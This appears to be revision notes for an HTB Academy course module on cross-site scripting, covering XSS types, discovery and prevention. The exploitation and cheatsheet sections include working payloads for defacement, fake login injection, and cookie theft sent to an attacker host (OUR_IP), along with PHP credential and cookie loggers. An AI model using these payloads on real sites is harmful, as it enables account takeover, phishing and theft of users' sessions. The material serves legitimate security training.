All articles

Cross-Site Scripting (XSS) — Stored, Reflected, DOM, Exploitation and Prevention (HTB CWES)

Built from the Cross-Site Scripting (XSS) module of the HTB Academy Web Penetration Tester path (HTB CWES). Revision notes: every payload, command and sink kept, condensed. Labs and lessons are on HTB Academy.

XSS injects JavaScript that runs in another user's browser. It's client-side only — it doesn't touch the back-end server directly — so impact is "low impact × high probability = medium risk", but it's everywhere and chains into real account takeover. It runs inside the browser's JS engine, same-origin, but that's enough to steal sessions, phish, deface, or (with a browser bug) break the sandbox.

1. The three types

Type Where the input goes Scope
Stored (Persistent) Saved in the DB, shown on retrieval (comments, posts). Most critical. Every visitor; survives refresh.
Reflected (Non-persistent) Processed by the back end and echoed back (search/error messages), not stored. Only the targeted user, via a crafted URL.
DOM-based Written to the page by client-side JS; never reaches the server. Only the targeted user; input often after a #.

2. Testing for XSS

The canonical probe — window.origin tells you which frame executed (useful with cross-domain iframes):

<script>alert(window.origin)</script>

If alert() is blocked, fall back to <script>print()</script> (print dialog) or <plaintext> (stops HTML rendering). Confirm a stored XSS by refreshing — it fires again. Confirm reflected by watching the request: it's usually a GET, so the payload lives in the URL you then send to a victim (DevTools → Network → right-click → Copy URL).

DOM XSS: source and sink

DOM XSS is pure client-side — no HTTP request fires, and the payload won't appear in Ctrl+U source (use the Inspector, Ctrl+Shift+C, to see the rendered DOM). Two parts:

  • Source — where JS reads your input: document.URL, a URL parameter, an input field.
  • Sink — the function that writes it to the DOM without sanitizing: document.write(), DOM.innerHTML, DOM.outerHTML; jQuery add(), after(), append().
// vulnerable pattern: source → sink
var pos = document.URL.indexOf("task=");
var task = document.URL.substring(pos + 5, document.URL.length);
document.getElementById("todo").innerHTML = "<b>Next Task:</b> " + decodeURIComponent(task);

innerHTML refuses <script> tags, so use an event-handler payload instead:

<img src="" onerror=alert(window.origin)>

3. Discovering XSS

  • Automated — scanners (Burp Pro, ZAP, Nessus) run passive (DOM review) + active (payload injection) scans. Open-source: XSStrike, BruteXSS, XSSer: bash git clone https://github.com/s0md3v/XSStrike.git && cd XSStrike pip install -r requirements.txt python xsstrike.py -u "http://TARGET/index.php?task=test"
  • Manual — test payloads from PayloadsAllTheThings / Payload-Box against every input. XSS isn't limited to form fields — Cookie, User-Agent and other headers count if their value is reflected on a page. Always verify manually (a reflected payload isn't always an executing one).
  • Code review — the most reliable: trace source → sink. For mature apps, scanners/payload-lists rarely find anything; manual review does.

4. Exploitation

Defacing (stored XSS)

Change how the page looks for everyone with a few stored payloads:

<script>document.body.style.background = "#141d2b"</script>
<script>document.body.background = "https://attacker/img.svg"</script>
<script>document.title = 'Hacked'</script>
<script>document.getElementsByTagName('body')[0].innerHTML = '<center><h1>Owned</h1></center>'</script>

(jQuery equivalent for text: $("#todo").html('New Text').)

Phishing — fake login injection

Inject a login form whose action points at your server, remove the real UI, comment out the leftover HTML, then capture credentials:

document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" value="Login"></form>');document.getElementById('urlform').remove();

End the payload with <!-- to hide trailing markup. Catch the submitted creds with a PHP logger that then redirects the victim back (so nothing looks broken):

<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
  $file = fopen("creds.txt", "a+");
  fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
  header("Location: http://SERVER_IP/phishing/index.php");
  fclose($file); exit();
}
sudo nc -lvnp 80            # quick capture (victim sees an error)
sudo php -S 0.0.0.0:80      # better: serves the PHP logger + redirect

(Find your IP with ip a → tun0.)

Session hijacking & Blind XSS

Blind XSS fires on a page you can't see (admin panels, support tickets, contact forms, the User-Agent header). Detect it by loading a remote script named after the field — the request that comes back names the vulnerable input:

<script src=http://OUR_IP/username></script>
"><script src=http://OUR_IP/username></script>
<script>$.getScript("http://OUR_IP")</script>

(Skip fields that are validated/hashed like email and password.) Once a field calls back, steal the cookie:

new Image().src='http://OUR_IP/index.php?c='+document.cookie;   // stealthier (loads an image)
document.location='http://OUR_IP/index.php?c='+document.cookie; // navigates away

Log cookies server-side, then set the stolen cookie in DevTools → Storage (Shift+F9) → + and refresh to ride the victim's session:

<?php
if (isset($_GET['c'])) {
  foreach (explode(";", $_GET['c']) as $value) {
    $cookie = urldecode($value);
    $file = fopen("cookies.txt", "a+");
    fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
    fclose($file);
  }
}

5. Prevention

Secure both the source (input) and the sink (output), front and back end:

  • Input validation — enforce the expected format. JS regex on the front end; filter_var($x, FILTER_VALIDATE_EMAIL) in PHP. Front-end validation alone is bypassable with a raw request — always validate server-side too.
  • Input sanitization — escape/strip dangerous characters: DOMPurify (DOMPurify.sanitize(dirty)), PHP addslashes().
  • Output encoding — encode on display: PHP htmlspecialchars() / htmlentities() (< → &lt;), Node html-entities.
  • Avoid dangerous sinks — don't feed user input to innerHTML/outerHTML/document.write()/document.writeln()/document.domain, or jQuery html()/append()/after()/before()/replaceWith()…, or into <script>/<style>/attribute/comment contexts.
  • Server config — Content-Security-Policy: script-src 'self', X-Content-Type-Options: nosniff, HttpOnly + Secure cookies (JS can't read HttpOnly cookies — kills cookie theft), HTTPS everywhere, and a WAF.

6. What to carry into the CWES exam

  • Pick the payload for the context. <script>alert(window.origin)</script> to prove it; <img src=x onerror=…> when <script>/innerHTML is filtered; a leading '> / "> to break out of an attribute or quote.
  • Classify first. Stored (refresh persists), reflected (GET URL), DOM (no request, lives after #, check the Inspector not View-Source). It decides how you deliver the attack.
  • Blind XSS → remote script named per field. It's the trick for forms only an admin sees; have php -S 0.0.0.0:80 listening.
  • The money shot is session hijacking: new Image().src='http://OUR_IP/?c='+document.cookie, log it, set it in Storage, refresh. The skills assessment ends exactly here — steal the admin cookie containing the flag.

Cheatsheet — XSS

Probe payloads

<script>alert(window.origin)</script>
<script>print()</script>        <!-- if alert() is blocked -->
<plaintext>                      <!-- stops rendering -->
<img src="" onerror=alert(window.origin)>   <!-- when innerHTML/<script> is filtered -->
'><script>alert(window.origin)</script>     <!-- break out of attribute/quote -->

Discovery

git clone https://github.com/s0md3v/XSStrike.git && cd XSStrike && pip install -r requirements.txt
python xsstrike.py -u "http://TARGET/index.php?task=test"
# payload lists: PayloadsAllTheThings, Payload-Box   |  scanners: Burp Pro, ZAP, Nessus
# test headers too: Cookie, User-Agent

Defacing

<script>document.body.style.background="#141d2b"</script>
<script>document.title='Hacked'</script>
<script>document.getElementsByTagName('body')[0].innerHTML='<h1>Owned</h1>'</script>

Phishing (reflected)

document.write('<form action=http://OUR_IP>…login fields…</form>');document.getElementById('urlform').remove();
// end payload with:  <!--     | listener: sudo php -S 0.0.0.0:80  (PHP logs creds, redirects back)

Session hijacking / Blind XSS

<script src=http://OUR_IP/FIELDNAME></script>   <!-- find the vulnerable field -->
new Image().src='http://OUR_IP/index.php?c='+document.cookie;   // steal cookie
ip a → tun0        (your IP)
sudo php -S 0.0.0.0:80    (listener + cookie logger)
DevTools Storage Shift+F9 → + → set stolen cookie → refresh

DevTools (Firefox)

Ctrl+U          view source        Ctrl+Shift+I    Network tab
Ctrl+Shift+C    Inspector picker    Shift+F9        Storage (cookies)

Prevention

Validate:  regex / filter_var(...,FILTER_VALIDATE_EMAIL)      (front AND back end)
Sanitize:  DOMPurify.sanitize(dirty) · PHP addslashes()
Encode:    htmlspecialchars() / htmlentities() · node html-entities
Avoid sinks: innerHTML, outerHTML, document.write(), jQuery html()/append()/after()…
Headers:   CSP script-src 'self' · X-Content-Type-Options nosniff · HttpOnly+Secure cookies · HTTPS · WAF

Built from HTB Academy's Cross-Site Scripting (XSS) module — labs, lessons and the CWES exam are on HTB Academy.

-->